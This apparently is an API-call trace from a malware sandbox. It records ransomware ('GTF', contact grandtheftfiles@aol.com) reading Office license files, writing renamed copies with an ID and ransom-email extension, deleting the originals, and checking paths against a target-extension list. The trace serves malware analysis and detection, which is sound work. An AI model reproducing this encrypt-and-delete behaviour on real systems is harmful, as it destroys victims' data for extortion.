	[0172.311] WriteFile (in: hFile=0x574, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.312] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.312] WriteFile (in: hFile=0x574, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0172.312] SetEndOfFile (hFile=0x574) returned 1
	[0172.312] CloseHandle (hObject=0x574) returned 1
	[0172.312] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.312] SetEndOfFile (hFile=0x55c) returned 1
	[0172.316] CloseHandle (hObject=0x55c) returned 1
	[0172.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.317] lstrlenW (lpString=".doc") returned 4
	[0172.317] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.317] lstrlenW (lpString=".docx") returned 5
	[0172.317] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.317] lstrlenW (lpString=".pdf") returned 4
	[0172.317] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.317] lstrlenW (lpString=".xls") returned 4
	[0172.317] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.317] lstrlenW (lpString=".xlsx") returned 5
	[0172.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.317] lstrlenW (lpString=".ppt") returned 4
	[0172.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.318] lstrlenW (lpString=".zip") returned 4
	[0172.318] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString=".rar") returned 4
	[0172.318] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString=".bz2") returned 4
	[0172.318] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString=".7z") returned 3
	[0172.318] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.318] lstrlenW (lpString=".dbf") returned 4
	[0172.318] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.318] lstrlenW (lpString=".1cd") returned 4
	[0172.318] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.318] lstrlenW (lpString=".jpg") returned 4
	[0172.318] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.318] lstrlenW (lpString=".doc") returned 4
	[0172.318] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString=".docx") returned 5
	[0172.318] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.318] lstrlenW (lpString=".pdf") returned 4
	[0172.318] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.318] lstrlenW (lpString=".xls") returned 4
	[0172.319] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.319] lstrlenW (lpString=".xlsx") returned 5
	[0172.319] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.319] lstrlenW (lpString=".ppt") returned 4
	[0172.319] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.319] lstrlenW (lpString=".zip") returned 4
	[0172.319] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.319] lstrlenW (lpString=".rar") returned 4
	[0172.319] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.319] lstrlenW (lpString=".bz2") returned 4
	[0172.319] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.319] lstrlenW (lpString=".7z") returned 3
	[0172.319] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.319] lstrlenW (lpString=".dbf") returned 4
	[0172.319] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.319] lstrlenW (lpString=".1cd") returned 4
	[0172.319] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0172.319] lstrlenW (lpString=".jpg") returned 4
	[0172.319] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.319] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.319] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 36
	[0172.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.320] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19962) returned 1
	[0172.320] CloseHandle (hObject=0x55c) returned 1
	[0172.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0172.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.321] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.321] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0172.322] GetLastError () returned 0x0
	[0172.322] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x4dfa, lpOverlapped=0x0) returned 1
	[0172.324] WriteFile (in: hFile=0x574, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0172.325] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.325] WriteFile (in: hFile=0x574, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0172.326] SetEndOfFile (hFile=0x574) returned 1
	[0172.326] CloseHandle (hObject=0x574) returned 1
	[0172.326] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.326] SetEndOfFile (hFile=0x55c) returned 1
	[0172.334] CloseHandle (hObject=0x55c) returned 1
	[0172.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0172.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.335] lstrlenW (lpString=".doc") returned 4
	[0172.335] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.335] lstrlenW (lpString=".docx") returned 5
	[0172.335] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.335] lstrlenW (lpString=".pdf") returned 4
	[0172.335] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.335] lstrlenW (lpString=".xls") returned 4
	[0172.335] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.335] lstrlenW (lpString=".xlsx") returned 5
	[0172.335] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.335] lstrlenW (lpString=".ppt") returned 4
	[0172.335] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.335] lstrlenW (lpString=".zip") returned 4
	[0172.335] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.335] lstrlenW (lpString=".rar") returned 4
	[0172.335] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.335] lstrlenW (lpString=".bz2") returned 4
	[0172.335] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.335] lstrlenW (lpString=".7z") returned 3
	[0172.335] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.335] lstrlenW (lpString=".dbf") returned 4
	[0172.336] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.336] lstrlenW (lpString=".1cd") returned 4
	[0172.336] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.336] lstrlenW (lpString=".jpg") returned 4
	[0172.336] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.336] lstrlenW (lpString=".doc") returned 4
	[0172.336] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString=".docx") returned 5
	[0172.336] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.336] lstrlenW (lpString=".pdf") returned 4
	[0172.336] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString=".xls") returned 4
	[0172.336] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString=".xlsx") returned 5
	[0172.336] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.336] lstrlenW (lpString=".ppt") returned 4
	[0172.336] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.336] lstrlenW (lpString=".zip") returned 4
	[0172.336] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString=".rar") returned 4
	[0172.336] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString=".bz2") returned 4
	[0172.336] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.336] lstrlenW (lpString=".7z") returned 3
	[0172.336] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.336] lstrlenW (lpString=".dbf") returned 4
	[0172.337] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.337] lstrlenW (lpString=".1cd") returned 4
	[0172.337] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0172.337] lstrlenW (lpString=".jpg") returned 4
	[0172.337] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.337] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.337] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33
	[0172.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.338] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10667) returned 1
	[0172.338] CloseHandle (hObject=0x55c) returned 1
	[0172.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220
	[0172.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.338] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.338] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0172.339] GetLastError () returned 0x0
	[0172.339] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0172.341] WriteFile (in: hFile=0x574, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0172.342] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.342] WriteFile (in: hFile=0x574, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x116, lpOverlapped=0x0) returned 1
	[0172.709] SetEndOfFile (hFile=0x574) returned 1
	[0172.901] CloseHandle (hObject=0x574) returned 1
	[0172.901] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.901] SetEndOfFile (hFile=0x55c) returned 1
	[0173.302] CloseHandle (hObject=0x55c) returned 1
	[0173.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1
	[0173.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.303] lstrlenW (lpString=".doc") returned 4
	[0173.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.303] lstrlenW (lpString=".docx") returned 5
	[0173.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.303] lstrlenW (lpString=".pdf") returned 4
	[0173.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString=".xls") returned 4
	[0173.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString=".xlsx") returned 5
	[0173.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.304] lstrlenW (lpString=".ppt") returned 4
	[0173.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.304] lstrlenW (lpString=".zip") returned 4
	[0173.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString=".rar") returned 4
	[0173.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString=".bz2") returned 4
	[0173.304] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString=".7z") returned 3
	[0173.304] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.304] lstrlenW (lpString=".dbf") returned 4
	[0173.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.304] lstrlenW (lpString=".1cd") returned 4
	[0173.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.304] lstrlenW (lpString=".jpg") returned 4
	[0173.304] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.304] lstrlenW (lpString=".doc") returned 4
	[0173.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString=".docx") returned 5
	[0173.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.304] lstrlenW (lpString=".pdf") returned 4
	[0173.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.304] lstrlenW (lpString=".xls") returned 4
	[0173.305] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.305] lstrlenW (lpString=".xlsx") returned 5
	[0173.305] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.305] lstrlenW (lpString=".ppt") returned 4
	[0173.305] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.305] lstrlenW (lpString=".zip") returned 4
	[0173.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.305] lstrlenW (lpString=".rar") returned 4
	[0173.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.305] lstrlenW (lpString=".bz2") returned 4
	[0173.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.305] lstrlenW (lpString=".7z") returned 3
	[0173.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.305] lstrlenW (lpString=".dbf") returned 4
	[0173.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.305] lstrlenW (lpString=".1cd") returned 4
	[0173.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0173.305] lstrlenW (lpString=".jpg") returned 4
	[0173.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.305] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.305] lstrlenW (lpString="HomeBusinessR_Retail-ppd.xrm-ms") returned 31
	[0173.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0173.306] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=22091) returned 1
	[0173.306] CloseHandle (hObject=0x55c) returned 1
	[0173.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220
